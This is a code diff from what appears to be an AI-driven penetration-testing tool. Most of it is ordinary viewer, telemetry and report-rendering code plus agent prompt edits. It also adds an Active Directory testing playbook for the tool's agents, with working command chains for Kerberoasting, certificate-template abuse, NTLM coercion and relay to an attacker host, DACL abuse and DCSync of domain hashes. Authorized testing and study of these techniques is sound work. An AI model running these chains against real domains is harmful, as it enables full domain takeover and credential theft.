except KeyboardInterrupt:
console.print("\n[dim]Viewer stopped.[/]")
finally:
viewer_httpd.shutdown()
viewer_httpd.server_close()
if args.non_interactive:
report_state = get_global_report_state()
+75 -1
View File
@@ -6,6 +6,7 @@ import logging
import signal
import sys
import threading
import webbrowser
from collections.abc import Callable
from importlib.metadata import PackageNotFoundError
from importlib.metadata import version as pkg_version
@@ -768,6 +769,7 @@ class StrixTUIApp(App): # type: ignore[misc]
Binding("ctrl+q", "request_quit", "Quit", priority=True),
Binding("ctrl+c", "request_quit", "Quit", priority=True),
Binding("escape", "stop_selected_agent", "Stop Agent", priority=True),
Binding("ctrl+o", "open_viewer", "Open Viewer", priority=True),
]
def __init__(self, args: argparse.Namespace):
@@ -794,6 +796,8 @@ class StrixTUIApp(App): # type: ignore[misc]
self._displayed_events: list[str] = []
self._scan_thread: threading.Thread | None = None
self._viewer_httpd: Any = None
self._viewer_url: str | None = None
self._scan_loop: asyncio.AbstractEventLoop | None = None
self._scan_stop_event = threading.Event()
self._scan_completed = threading.Event()
@@ -903,7 +907,12 @@ class StrixTUIApp(App): # type: ignore[misc]
vulnerabilities_panel = VulnerabilitiesPanel(id="vulnerabilities_panel")
sidebar = Vertical(agents_tree, vulnerabilities_panel, stats_scroll, id="sidebar")
viewer_cta = Static(self._viewer_cta_markup(), id="viewer_cta")
viewer_cta.ALLOW_SELECT = False
sidebar = Vertical(
viewer_cta, agents_tree, vulnerabilities_panel, stats_scroll, id="sidebar"
)
content_container.mount(chat_area_container)
content_container.mount(sidebar)
@@ -1805,6 +1814,7 @@ class StrixTUIApp(App): # type: ignore[misc]
async def action_custom_quit(self) -> None:
self._fire_sandbox_cleanup()
self._shutdown_viewer()
if self._scan_thread and self._scan_thread.is_alive():
self._scan_stop_event.set()
@@ -1813,6 +1823,70 @@ class StrixTUIApp(App): # type: ignore[misc]
self.exit()
def _viewer_cta_markup(self, url: str | None = None) -> str:
if url:
return f"[@click=app.open_viewer][#22c55e]● Viewer running[/][/]\n[dim]{url}[/]"
return "[@click=app.open_viewer]▶ Watch live in browser[/]"
def _set_viewer_cta(self, markup: str) -> None:
with contextlib.suppress(Exception):
self.query_one("#viewer_cta", Static).update(markup)
def action_open_viewer(self) -> None:
if self._viewer_url:
with contextlib.suppress(Exception):
webbrowser.open(self._viewer_url)
return
try:
from strix.viewer.server import authorized_url, bundle_is_built, serve
if not bundle_is_built():
self._set_viewer_cta("[#eab308]Viewer UI not built[/]")
return
run_dir = self.report_state.get_run_dir()
def _viewer_steer(agent_id: str, message: str) -> bool:
# Reuse the exact TUI delivery path, but target the agent the
# web graph selected (not the TUI's current selection).
return send_user_message_to_agent(
coordinator=self.coordinator,
loop=self._scan_loop,
live_view=self.live_view,
target_agent_id=agent_id,
message=message,
)
httpd, url, token = serve(run_dir, open_browser=True, steer_handler=_viewer_steer)
except Exception:
logger.debug("failed to start local viewer", exc_info=True)
self._set_viewer_cta("[red]Viewer failed to start[/]")
return
self._viewer_httpd = httpd
# Store the tokened URL so reopening the CTA re-authorizes the browser
# (this viewer carries a steer handler, so the session is required).
self._viewer_url = authorized_url(url, token)
self._set_viewer_cta(self._viewer_cta_markup(self._viewer_url))
with contextlib.suppress(Exception):
from strix.telemetry import posthog
live = self.report_state.run_record.get("status") not in {
"completed",
"stopped",
"failed",
"interrupted",
}
posthog.viewer_opened(source="tui", live=live)
def _shutdown_viewer(self) -> None:
httpd = self._viewer_httpd
if httpd is None:
return
self._viewer_httpd = None
with contextlib.suppress(Exception):
httpd.shutdown()
httpd.server_close()
def _fire_sandbox_cleanup(self) -> None:
self.coordinator.mark_shutting_down()
loop = self._scan_loop
+16 -4
View File
@@ -24,14 +24,26 @@ def load_session_history(run_dir: Path, agent_ids: Any) -> list[tuple[str, dict[
if not agents_db.exists() or not session_ids:
return []
session_id_set = set(session_ids)
# Open read-only: the scan process may be actively writing this WAL database
# from another process (the local viewer tails it live), and a reader must
# never lock or mutate it. mode=ro (not immutable=1) still reads the latest
# committed WAL state; WAL permits concurrent readers alongside the writer.
conn: sqlite3.Connection | None = None
try:
with sqlite3.connect(agents_db) as conn:
rows = conn.execute(
"select id, session_id, message_data, created_at from agent_messages order by id"
).fetchall()
conn = sqlite3.connect(
f"file:{agents_db}?mode=ro",
uri=True,
check_same_thread=False,
)
rows = conn.execute(
"select id, session_id, message_data, created_at from agent_messages order by id"
).fetchall()
except sqlite3.Error:
logger.exception("Failed to hydrate TUI history from %s", agents_db)
return []
finally:
if conn is not None:
conn.close()
items: list[tuple[str, dict[str, Any], str]] = []
for row_id, agent_id, message_data, created_at in rows:
+26 -4
View File
@@ -6,6 +6,7 @@ import csv
import io
import json
import logging
import re
import tempfile
from datetime import UTC, datetime
from pathlib import Path
@@ -18,6 +19,21 @@ logger = logging.getLogger(__name__)
_SEVERITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4}
_BACKTICK_RUN = re.compile(r"`+")
def _safe_fence(content: str) -> str:
"""Return a backtick fence that ``content`` cannot break out of.
Per CommonMark a fenced code block is closed only by a run of backticks at
least as long as the opening fence. LLM-authored, attacker-influenced values
(PoC scripts, code snippets) may contain their own ``` runs, so we open with
a fence one backtick longer than the longest run inside ``content`` (never
fewer than three). Everything in ``content`` then renders verbatim.
"""
longest = max((len(m.group()) for m in _BACKTICK_RUN.finditer(content)), default=0)
return "`" * max(3, longest + 1)
def read_run_record(run_dir: Path) -> dict[str, Any]:
path = run_record_path(run_dir)
@@ -171,9 +187,11 @@ def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PL
lines.append(str(report["poc_description"]))
lines.append("")
if report.get("poc_script_code"):
lines.append("```")
lines.append(str(report["poc_script_code"]))
lines.append("```")
code = str(report["poc_script_code"])
fence = _safe_fence(code)
lines.append(fence)
lines.append(code)
lines.append(fence)
lines.append("")
if report.get("code_locations"):
@@ -190,7 +208,11 @@ def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PL
if loc.get("label"):
lines.append(f" {loc['label']}")
if loc.get("snippet"):
lines.append(f" ```\n {loc['snippet']}\n ```")
snippet = str(loc["snippet"])
fence = _safe_fence(snippet)
lines.append(f" {fence}")
lines.extend(f" {ln}" for ln in snippet.splitlines())
lines.append(f" {fence}")
if loc.get("fix_before") or loc.get("fix_after"):
lines.append("\n **Suggested Fix:**")
lines.append("```diff")
+3 -4
View File
@@ -5,7 +5,7 @@ description: Orchestration layer that coordinates specialized subagents for secu
# Root Agent
Orchestration layer for security assessments. This agent coordinates specialized subagents but does not perform testing directly.
Orchestration layer for security assessments. This agent coordinates specialized subagents but does not perform testing directly. You never run scanners, crawlers, or fuzzers and never send exploit/injection payloads yourself — not even a quick "basic" test on a discovered endpoint. Any work that touches the target is delegated to a subagent.
You can create agents throughout the testing process—not just at the beginning. Spawn agents dynamically based on findings and evolving scope.
@@ -18,7 +18,7 @@ You can create agents throughout the testing process—not just at the beginning
## Scope Decomposition
Before spawning agents, analyze the target:
Before spawning agents, analyze the target from the scan config/scope and any provided context (and, once recon subagents report, from their results) — not by running recon tools yourself:
1. **Identify attack surfaces** - web apps, APIs, infrastructure, etc.
2. **Define boundaries** - in-scope domains, IP ranges, excluded assets
@@ -72,8 +72,7 @@ Before creating agents:
Complex findings warrant specialized subagents:
- Discovery agent finds potential vulnerability
- Validation agent confirms exploitability
- Reporting agent documents with reproduction steps
- Fix agent provides remediation (if needed)
- Reporting agent documents with reproduction steps AND supplies the fix inline (the report tool carries the patch via `code_locations`/`fix_pr_body`) — do not add a separate fix agent that re-derives the same patch
**Resource Efficiency**
@@ -0,0 +1,233 @@
---
name: active_directory
description: Active Directory / Kerberos domain testing covering roasting, delegation abuse, AD CS (ESC1-ESC17), NTLM coercion+relay, DACL abuse, and credential dumping
---
# Active Directory
Active Directory compromise usually comes from misconfiguration, not memory-corruption bugs: a roastable service account, a delegation flag, a vulnerable certificate template, or an over-permissive ACL turns a single low-priv domain user into Domain Admin. Almost every step needs valid domain credentials (or a foothold to coerce them), and almost every path ends at DCSync or a forged ticket. Test the identity layer — Kerberos, LDAP, NTLM, SMB, AD CS — not the marketing website in front of it.
## Attack Surface
**Core services (per domain controller)**
- Kerberos (88/tcp+udp), LDAP/LDAPS (389/636), Global Catalog (3268/3269)
- SMB (445), RPC/DCE endpoint mapper (135) + high dynamic ports, NetBIOS (137-139)
- DNS (53) — AD-integrated, often allows dynamic updates (ADIDNS)
- WinRM (5985/5986), RDP (3389), MSSQL (1433) on member servers
- AD CS: Certificate Authority + web enrollment (`/certsrv`, `/ADPolicyProvider_CEP_*`, ES/CES)
**Principals & objects**
- Users, computers (`$` accounts), gMSA/sMSA, groups, GPOs, OUs, trusts
- `servicePrincipalName`, `userAccountControl` flags, `msDS-AllowedToDelegateTo`, `msDS-AllowedToActOnBehalfOfOtherIdentity`, `msDS-KeyCredentialLink`
- DACLs on objects (GenericAll/GenericWrite/WriteDacl/WriteOwner/AddSelf)
**Trust boundaries**
- Intra-forest (parent/child), inter-forest, external, SID history
- `MachineAccountQuota` (default 10 → any user can join computer accounts)
## Reconnaissance
**Anonymous / pre-auth (no creds)**
```
# Domain + naming context from LDAP rootDSE
nmap -Pn -p 389 --script ldap-rootdse <DC>
# SMB null session / signing / OS
nmap -Pn -p445 --script "smb-os-discovery,smb2-security-mode" <DC>
enum4linux-ng -A <DC>
# Username-less user enum via Kerberos pre-auth
kerbrute userenum -d <DOMAIN> --dc <DC> users.txt
```
**Authenticated enumeration (any valid user)**
```
nxc ldap <DC> -u <USER> -p <PASS> # confirm creds + domain info
nxc smb <SUBNET> -u <USER> -p <PASS> --shares # readable/writable shares
nxc ldap <DC> -u <USER> -p <PASS> --users --groups --pass-pol
ldapdomaindump ldap://<DC> -u '<DOMAIN>\<USER>' -p <PASS>
```
**BloodHound graph (the single most valuable step)**
```
bloodhound-ce-python -d <DOMAIN> -u <USER> -p <PASS> -c All -ns <DC_IP> --zip
# or, remote SharpHound-equivalent collector:
nxc ldap <DC> -u <USER> -p <PASS> --bloodhound --collection-method All --dns-server <DC_IP>
```
Import into BloodHound (CE) and run the built-in "Shortest paths to Domain Admins" / "Owned principals" queries before touching anything else.
## Key Vulnerabilities
### Kerberos Roasting
**Kerberoasting** — any authenticated user can request a service ticket (RC4/`$krb5tgs$23$`) for any account with an SPN and crack it offline. Human-set service-account passwords are the target; machine accounts are usually uncrackable.
```
nxc ldap <DC> -u <USER> -p <PASS> --kerberoasting kerb.txt
# or impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASS> -outputfile kerb.txt
hashcat -m 13100 kerb.txt wordlist.txt
```
**AS-REP Roasting** — accounts with `DONT_REQ_PREAUTH` yield a crackable `$krb5asrep$23$` blob with *no* creds needed if the username is known.
```
GetNPUsers.py <DOMAIN>/ -usersfile users.txt -no-pass -dc-ip <DC_IP>
hashcat -m 18200 asrep.txt wordlist.txt
```
**Targeted Kerberoasting** — with GenericAll/GenericWrite over a user, add an SPN, roast, then remove it.
### Delegation Abuse
- **Unconstrained** (`TRUSTED_FOR_DELEGATION`) — compromise the host, coerce a DC/DA to auth to it (PrinterBug/PetitPotam), capture their TGT from LSA, reuse it. Straight to DCSync.
- **Constrained** (`msDS-AllowedToDelegateTo`) — S4U2Self+S4U2Proxy to impersonate any user to the listed SPN; swap the SPN service class (`cifs`/`host`/`ldap`) for broader access.
- **RBCD** (`msDS-AllowedToActOnBehalfOfOtherIdentity`) — with write access over a computer object + `MachineAccountQuota>0`, create a fake computer, set RBCD, S4U to get an admin ticket for that host.
```
# RBCD chain
addcomputer.py -computer-name FAKE$ -computer-pass P@ss <DOMAIN>/<USER>:<PASS>
rbcd.py -delegate-from FAKE$ -delegate-to TARGET$ -action write <DOMAIN>/<USER>:<PASS>
getST.py -spn cifs/target.<DOMAIN> -impersonate Administrator <DOMAIN>/FAKE$:P@ss
```
### AD Certificate Services (ESC1-ESC17)
AD CS is the highest-yield modern path — one misconfigured template promotes a low-priv user to DA and survives password resets. Enumerate first, everything else follows:
```
certipy find -u <USER>@<DOMAIN> -p <PASS> -dc-ip <DC_IP> -vulnerable -stdout
```
- **ESC1** — template allows enrollee-supplied SAN + client-auth EKU → request a cert as `administrator`:
```
certipy req -u <USER>@<DOMAIN> -p <PASS> -ca <CA> -template <T> -upn administrator@<DOMAIN>
certipy auth -pfx administrator.pfx -dc-ip <DC_IP> # → NT hash / TGT
```
- **ESC8** — NTLM relay to the CA web-enrollment endpoint (coerce a DC, relay to `/certsrv`) → DC certificate → DCSync.
- **ESC others** — ESC2/3 (any-purpose/enrollment-agent), ESC4 (writable template DACL → make it ESC1), ESC6 (`EDITF_ATTRIBUTESUBJECTALTNAME2` on the CA), ESC7 (CA officer rights), ESC9/10 (weak cert mapping), ESC11 (RPC relay), ESC13 (issuance-policy→group), ESC15 (app-policy on v1 templates). `certipy find -vulnerable` flags each.
### NTLM Coercion & Relay
Force a privileged machine to authenticate to you, then relay that NTLM auth to a service that doesn't enforce signing/EPA (LDAP, AD CS, SMB).
```
# 1. Start the relay (LDAP → RBCD, or AD CS → cert)
ntlmrelayx.py -t ldap://<DC> --delegate-access --no-dump
ntlmrelayx.py -t http://<CA>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# 2. Coerce a target to authenticate
coercer coerce -u <USER> -p <PASS> -t <TARGET> -l <ATTACKER_IP>
PetitPotam.py -u <USER> -p <PASS> <ATTACKER_IP> <DC> # MS-EFSR
printerbug.py <DOMAIN>/<USER>:<PASS>@<TARGET> <ATTACKER_IP> # MS-RPRN
```
LLMNR/NBT-NS/mDNS poisoning with Responder captures NetNTLMv2 hashes on the broadcast segment for offline cracking or relay.
### DACL / Object Abuse
From BloodHound edges:
- **GenericAll/GenericWrite** on a user → targeted Kerberoast or Shadow Credentials (`msDS-KeyCredentialLink` via Certipy/pywhisker → PKINIT → NT hash).
- **WriteDacl/WriteOwner** → grant yourself GenericAll, then DCSync rights on the domain object.
- **ForceChangePassword** → reset a target's password.
- **AddMember** on a privileged group → self-add.
- **GPO edit rights** → push an immediate scheduled task / local admin to linked OUs.
```
# Shadow Credentials (no password reset needed, stealthier)
certipy shadow auto -u <USER>@<DOMAIN> -p <PASS> -account <TARGET> -dc-ip <DC_IP>
# bloodyAD for generic DACL edits
bloodyAD -u <USER> -p <PASS> -d <DOMAIN> --host <DC> add genericAll <TARGET_DN> <USER>
```
### Credential Access & Domain Dominance
- **DCSync** (with replication rights — `DS-Replication-Get-Changes*`) dumps any/all hashes incl. `krbtgt`:
```
secretsdump.py <DOMAIN>/<USER>:<PASS>@<DC> -just-dc-user krbtgt
nxc smb <DC> -u <USER> -p <PASS> --ntds # full NTDS.dit
```
- **Golden ticket** (`krbtgt` hash) / **Silver ticket** (service acct hash) / **Diamond ticket** — forge TGTs/STs for persistence.
- **Pass-the-Hash / OverPass-the-Hash / Pass-the-Ticket** — reuse NT hashes or Kerberos tickets without the plaintext.
- **LAPS / gMSA** — readable `ms-Mcs-AdmPwd` or `msDS-ManagedPassword` grants local admin / service creds.
### Known unauthenticated CVEs (patch-dependent)
- **ZeroLogon** (CVE-2020-1472) — resets the DC machine account to null, instant DA on unpatched DCs.
- **noPac** (CVE-2021-42278/42287) — sAMAccountName spoofing → impersonate DC.
- **PrintNightmare** (CVE-2021-1675/34527), **PetitPotam** (unauth MS-EFSR pre-KB5005413).
Confirm with a version/patch check before firing — these are destructive.
## Advanced Techniques
- **UnPAC-the-hash** — recover a user's NT hash from a PKINIT/cert auth (Certipy `auth` prints it).
- **sAMAccountName spoofing** chain (noPac) when `MachineAccountQuota>0` and DCs unpatched.
- **SID history injection** across trusts for cross-domain/forest escalation.
- **ADIDNS poisoning** — add wildcard/records via authenticated LDAP to intercept name resolution.
- **Timeroast** — roast computer-account passwords via NTP if the DC exposes MS-SNTP.
## Testing Methodology
1. **Foothold check** — Confirm creds work (`nxc ldap/smb`) and note privileges; note `MachineAccountQuota` and password policy.
2. **BloodHound first** — Collect + graph before manual work; mark the foothold principal as owned and read the DA paths.
3. **Low-noise credential harvest** — AS-REP roast (no auth), Kerberoast, readable LAPS/gMSA, GPP passwords in SYSVOL.
4. **AD CS sweep**`certipy find -vulnerable`; it is often the shortest path and independent of the BloodHound graph.
5. **DACL edges** — Walk each BloodHound edge from owned → high value; prefer Shadow Credentials over password resets (reversible, quieter).
6. **Delegation** — Enumerate unconstrained/constrained/RBCD; chain with coercion where a privileged auth is needed.
7. **Coercion + relay** — Only where signing/EPA is off; identify the relay target (LDAP/AD CS) first.
8. **Prove domain dominance** — DCSync `krbtgt` / a target user, then stop. Do not persist (golden ticket) on client engagements unless in scope.
## Validation
1. Show the exact misconfiguration (SPN, `userAccountControl` flag, template flags, ACE, missing patch) with the enumerating tool's raw output.
2. Demonstrate the privilege gained — a cracked service-account password, an issued certificate authenticating as a privileged user, or an NT hash from DCSync.
3. Provide the full chain: owned principal → edge/misconfig → escalation step → resulting access, with commands and evidence at each hop.
4. Tie the impact to a concrete identity (e.g. "user `svc-sql` → Domain Admins") rather than a generic "AD is misconfigured".
5. For coercion/relay, capture both the coerced authentication and the relayed action succeeding.
## False Positives
- Kerberoastable SPN on a **machine account** — password is 120-char random, effectively uncrackable; not a finding on its own.
- `certipy find` lists a template as ESC-vulnerable but enrollment rights exclude your principal (check the `Enrollment Rights` / `Requires Manager Approval` fields).
- Delegation flags present but the account is disabled or the target SPN is unreachable.
- Relay target enforces SMB/LDAP signing or channel binding (EPA) — the relay will fail; not exploitable.
- DCs fully patched — ZeroLogon/noPac/PetitPotam checks report "not vulnerable".
- "Writable" share that only exposes a redirected/quarantined path with no useful content.
## Impact
- Full domain (and often forest) compromise: read/modify all objects, all credentials, all data.
- Persistent, patch-surviving access via golden tickets, forged certificates, or SID history.
- Lateral movement to every domain-joined host (file servers, databases, hypervisors).
- Ransomware blast radius — DA is the standard pivot for domain-wide deployment.
## Pro Tips
1. BloodHound before brute force — the graph turns hours of guessing into a named path; always mark owned nodes.
2. Prefer AS-REP roasting and `certipy find` early — both are quiet and one needs no creds.
3. Shadow Credentials > password reset when you have write access: reversible, doesn't lock out the account, no plaintext needed.
4. Fix clock skew before Kerberos work: `sudo ntpdate <DC>` (or `faketime`) — `KRB_AP_ERR_SKEW` kills ticket ops.
5. Use FQDNs and set `/etc/resolv.conf` to the DC (or `--dns-server`); Kerberos and LDAP referrals break on bare IPs.
6. `nxc` (NetExec) is the CrackMapExec successor — CME is unmaintained; use `nxc` and its `--gen-relay-list`, `--bloodhound`, `-M` modules.
7. Pair with `nmap` (service/port discovery) and `authentication_jwt` skills where the domain fronts web SSO (ADFS/SAML).
## Tooling
**None of the AD tools below ship in the Strix sandbox by default** (the image is Kali-rolling but installs only web-focused tooling). Install what the task needs — the sandbox has `pipx`, `pip`, `go`, `git`, and Kali's apt repos. AD testing also requires **network reachability to the target DC/subnet**, which the default web-target sandbox usually lacks; confirm connectivity first.
```
# Python identity toolkit (impacket = GetUserSPNs/GetNPUsers/secretsdump/ntlmrelayx/getST/addcomputer/rbcd)
pipx install impacket
pipx install netexec # nxc — CME successor: ldap/smb/winrm enum, roasting, bloodhound, ntds
pipx install certipy-ad # AD CS enum + ESC1-ESC17 abuse, shadow credentials
pipx install bloodhound-ce # bloodhound-ce-python collector (BloodHound CE ingestor)
pipx install coercer # multi-protocol coercion (MS-EFSR/RPRN/DFSNM/FSRVP)
pipx install bloodyAD # DACL / LDAP object edits over LDAP
pipx install ldapdomaindump # LDAP dumper (bloodhound.py author)
# kerbrute (Go, user enum / pre-auth brute) is prebuilt and already on PATH
# Kali apt packages
sudo apt-get install -y smbclient ldap-utils krb5-user enum4linux-ng responder hashcat john
```
- **NetExec (`nxc`)** — swiss-army enum/exec across smb/ldap/winrm/mssql; use for creds validation, share hunting, `--kerberoasting`, `--bloodhound`, `--ntds`.
- **impacket** — the canonical scriptable attack primitives (roasting, S4U, relay, secretsdump, ticket forging).
- **Certipy** — AD CS: `find -vulnerable`, `req`, `auth`, `shadow`, relay; covers the full ESC1-ESC17 set.
- **BloodHound CE + collector** — attack-path graphing; the first thing to run with any valid credential.
- **Responder / ntlmrelayx / Coercer / PetitPotam** — the poisoning→coercion→relay chain (needs L2 access or a coercible target).
- **hashcat / john** — offline cracking of roasted `$krb5tgs$`/`$krb5asrep$` blobs (modes `13100` / `18200`).
Humans often use GUI BloodHound and Windows-side C# tooling (SharpHound, Rubeus, Certify, PowerView); in-sandbox prefer the Python/Linux equivalents above (`bloodhound-ce-python`, impacket, Certipy, `nxc`).
## Summary
AD compromise is a graph problem: start from a valid credential, map paths with BloodHound, and chain misconfigurations — roastable accounts, delegation flags, vulnerable certificate templates, coercion+relay, and permissive DACLs — until you reach DCSync or a forged ticket. The identity plane (Kerberos/LDAP/NTLM/SMB/AD CS), not the perimeter, is where domains fall.
+4 -5
View File
@@ -98,12 +98,11 @@ The sandbox's Python lives in `/app/.venv`, and it is the active virtualenv
`requests`, `httpx`, `beautifulsoup4` (`bs4`), `lxml`, `pyjwt` (`jwt`),
`cryptography`.
To add a one-off dependency for an exploit script, use `uv` (already in the
image and much faster than pip):
To add a one-off dependency for an exploit script, install it into the active
venv with `pip`:
```bash
uv pip install --python /app/.venv/bin/python <package>
pip install <package>
```
Plain `pip install <package>` also works because the venv is active. Install
before you import, so scripts don't fail with `ModuleNotFoundError`.
Install before you import, so scripts don't fail with `ModuleNotFoundError`.
+38
View File
@@ -142,6 +142,44 @@ def end(report_state: "ReportState", exit_reason: str = "completed") -> None:
)
def viewer_opened(source: str, live: bool) -> None:
_send(
"viewer_opened",
{
**base_props(),
"source": source,
"live": live,
},
)
def viewer_cta_clicked(cta: str, surface: str | None = None) -> None:
props = {
**base_props(),
"cta": cta[:64],
}
if surface:
props["surface"] = surface[:64]
_send("viewer_cta_clicked", props)
_VIEWER_EMAIL_STEPS = frozenset(
{"email_submitted", "email_verified", "report_sent", "work_email_required"}
)
def viewer_email_event(step: str, purpose: str | None = None) -> None:
if step not in _VIEWER_EMAIL_STEPS:
return
_send(
f"viewer_{step}",
{
**base_props(),
**({"purpose": purpose} if purpose else {}),
},
)
def error(error_type: str) -> None:
props = {**base_props(), "error_type": error_type}
_send("error", props)
+12 -5
View File
@@ -167,6 +167,9 @@ async def get_request_with_client(
return await client.request.get(request_id, opts)
_FRAMING_HEADERS = frozenset({"content-length", "transfer-encoding"})
def build_raw_request(
*,
method: str,
@@ -187,11 +190,15 @@ def build_raw_request(
final_headers = {**headers}
final_headers.setdefault("Host", parsed.netloc)
final_headers.setdefault("User-Agent", "strix")
# A Content-Length inherited from the captured request describes the ORIGINAL
# body; once the body is modified for replay it is stale. Drop any inherited
# value (case-insensitively) and recompute it from the body actually being
# sent, so the replayed request is never desynced (truncated / smuggled).
final_headers = {k: v for k, v in final_headers.items() if k.title() != "Content-Length"}
# Framing headers inherited from the captured request describe the ORIGINAL
# body; once the body is modified for replay they are stale. We always send a
# plain (non-chunked) body with an explicit Content-Length, so drop any
# inherited Content-Length AND Transfer-Encoding (case-insensitively) and
# recompute the length from the body actually being sent. This keeps the two
# framing mechanisms from conflicting (RFC 7230 3.3.3: a leftover
# Transfer-Encoding would make the target ignore Content-Length and try to
# parse the body as chunked), so the replay is never desynced.
final_headers = {k: v for k, v in final_headers.items() if k.lower() not in _FRAMING_HEADERS}
if body:
final_headers["Content-Length"] = str(len(body.encode("utf-8")))
+24
View File
@@ -422,6 +422,30 @@ async def create_vulnerability_report(
"availability": "H"
}
**CVSS calibration** score the weakness you actually proved, not a
hypothetical worst case. Most over-rating comes from these mistakes:
- **Don't presuppose a separate compromise.** If exploitation
requires the attacker to already hold a victim secret (a stolen
session cookie/token, a leaked one-time link, intercepted traffic),
that acquisition is not free. Do not score it as
``privileges_required:N`` with ``attack_complexity:L`` as if
directly reachable, and do not rate a replay-of-captured-secret
issue High/Critical unless the *same* finding demonstrates a
concrete way to obtain that secret. Issues like a session that
survives logout or a replayable link are session-management /
defense-in-depth weaknesses usually Low/Medium on their own.
- **Reserve ``H`` impact for demonstrated broad impact.** ``C:H`` /
``I:H`` require proof of wide or systemic read/write. A single
user's data, a read-only information leak, or merely confirming
that an account / domain / software version *exists* (enumeration)
is ``C:L`` (often ``I:N``) not ``C:H``.
- **Model required position and interaction honestly.** An
adversary-in-the-middle prerequisite (e.g. cleartext transmission)
or a required victim action is not guaranteed reflect it in
``attack_complexity`` / ``user_interaction`` instead of assuming the
ideal condition always holds.
**CVE / CWE rules**: pass the bare ID only (``CVE-2024-1234``,
``CWE-89``) no name, no parenthetical. Be 100% certain; if
unsure, use ``web_search`` to verify the ID before passing, or omit
+12
View File
@@ -0,0 +1,12 @@
"""Local web viewer for Strix runs.
Serves a prebuilt single-page app that renders a run (live or finished) read
directly from the run's on-disk files. No cloud dependency, no file picker.
"""
from __future__ import annotations
from strix.viewer.server import serve
__all__ = ["serve"]
+251
View File
@@ -0,0 +1,251 @@
"""Viewer email verification state and the relay client.
The local viewer proxies email verification and encrypted-report delivery to
the Strix relay (``STRIX_APP_URL``). The browser never talks to the relay
directly, and the report password generated locally is never sent to it.
State lives in ``~/.strix/viewer-auth.json`` (0600). ``is_verified`` is a local
flag that unlocks browsing the run history list; the relay still enforces token
expiry when a report is actually sent.
"""
from __future__ import annotations
import base64
import contextlib
import json
import logging
import urllib.error
import urllib.request
from datetime import UTC, datetime
from pathlib import Path
from typing import Any
from strix.config.loader import load_settings
logger = logging.getLogger(__name__)
AUTH_PATH = Path.home() / ".strix" / "viewer-auth.json"
_OTP_TIMEOUT = 15
_SEND_TIMEOUT = 30
class RelayError(Exception):
"""A relay call failed. ``code`` is a stable, machine-readable reason."""
def __init__(self, code: str, message: str | None = None) -> None:
self.code = code
super().__init__(message or code)
# --- local state ------------------------------------------------------------
def read_auth() -> dict[str, Any] | None:
"""Return the stored ``{email, token, verified_at}`` record, or None."""
try:
data = json.loads(AUTH_PATH.read_text(encoding="utf-8"))
except (OSError, json.JSONDecodeError):
return None
if not isinstance(data, dict):
return None
email = data.get("email")
token = data.get("token")
if not isinstance(email, str) or not email or not isinstance(token, str) or not token:
return None
return data
def parse_expiry(raw: object) -> datetime | None:
"""Parse a relay ``expires_at`` value into an aware UTC datetime.
Accepts both ISO 8601 strings and epoch seconds (as a number or numeric
string) so a valid relay expiry is not misread as missing. Returns None only
when it is genuinely absent or unparseable; both the local gate (see
``is_verified``) and OTP verification (see ``otp_verify``) fail closed on such
values, matching the relay, which rejects a token with no valid expiry.
"""
if isinstance(raw, bool):
return None
if isinstance(raw, int | float):
return _from_epoch(raw)
if not isinstance(raw, str) or not raw:
return None
try:
return _from_epoch(float(raw))
except ValueError:
pass
try:
parsed = datetime.fromisoformat(raw.replace("Z", "+00:00"))
except ValueError:
return None
return parsed if parsed.tzinfo else parsed.replace(tzinfo=UTC)
def _expiry(record: dict[str, Any]) -> datetime | None:
"""The stored ``verified_at`` parsed to a datetime, or None if unusable."""
return parse_expiry(record.get("verified_at"))
def _from_epoch(seconds: float) -> datetime | None:
"""Epoch seconds → aware UTC datetime, or None if out of range."""
try:
return datetime.fromtimestamp(seconds, tz=UTC)
except (OverflowError, OSError, ValueError):
return None
def is_verified() -> bool:
"""True when a usable email + token record with a valid future expiry exists.
The expiry returned by OTP verification is enforced here so history stops
unlocking once the token lapses. It fails closed: a record whose expiry is
absent, blank, or unparseable requires re-verification rather than unlocking
forever, keeping the local gate in step with the relay (which rejects an
expired token on report send).
"""
record = read_auth()
if record is None:
return False
expiry = _expiry(record)
return expiry is not None and expiry > datetime.now(UTC)
def write_auth(email: str, token: str, verified_at: str) -> None:
"""Atomically persist the auth record with 0600 permissions."""
AUTH_PATH.parent.mkdir(parents=True, exist_ok=True)
payload = json.dumps({"email": email, "token": token, "verified_at": verified_at})
tmp = AUTH_PATH.with_suffix(".json.tmp")
tmp.write_text(payload, encoding="utf-8")
with contextlib.suppress(OSError):
tmp.chmod(0o600)
tmp.replace(AUTH_PATH)
with contextlib.suppress(OSError):
AUTH_PATH.chmod(0o600)
def forget() -> None:
"""Delete the stored auth record. No-op if it is absent."""
with contextlib.suppress(OSError):
AUTH_PATH.unlink()
# --- relay client -----------------------------------------------------------
def _app_url() -> str:
return load_settings().viewer.app_url.rstrip("/")
def _post_json(path: str, payload: dict[str, Any], *, timeout: int) -> tuple[int, dict[str, Any]]:
"""POST JSON to the relay. Returns (status, parsed body).
Raises RelayError("unavailable") for network/transport failures. HTTP
error responses (4xx/5xx) are returned as (status, body) for the caller to
map, not raised.
"""
url = f"{_app_url()}{path}"
body = json.dumps(payload).encode("utf-8")
request = urllib.request.Request( # noqa: S310 - fixed https relay URL
url,
data=body,
headers={"Content-Type": "application/json", "Accept": "application/json"},
method="POST",
)
try:
with urllib.request.urlopen(request, timeout=timeout) as response: # noqa: S310
return response.status, _parse_body(response.read())
except urllib.error.HTTPError as exc:
return exc.code, _parse_body(exc.read())
except (urllib.error.URLError, TimeoutError, OSError) as exc:
logger.warning("relay request to %s failed: %s", path, exc)
raise RelayError("unavailable") from exc
def _parse_body(raw: bytes) -> dict[str, Any]:
try:
data = json.loads(raw or b"{}")
except json.JSONDecodeError:
return {}
return data if isinstance(data, dict) else {}
def otp_start(email: str) -> None:
"""Ask the relay to email a verification code. Raises RelayError on failure."""
status, data = _post_json("/api/oss/otp/start", {"email": email}, timeout=_OTP_TIMEOUT)
if status == 200:
return
if status == 429:
raise RelayError("rate_limited")
if status == 400:
# The relay uses 400 both for a malformed address and, separately, to
# reject a free/personal email domain (it wants a work email).
if data.get("error") == "work_email_required":
raise RelayError("work_email_required")
raise RelayError("invalid_email")
raise RelayError("unavailable")
def otp_verify(email: str, code: str) -> dict[str, Any]:
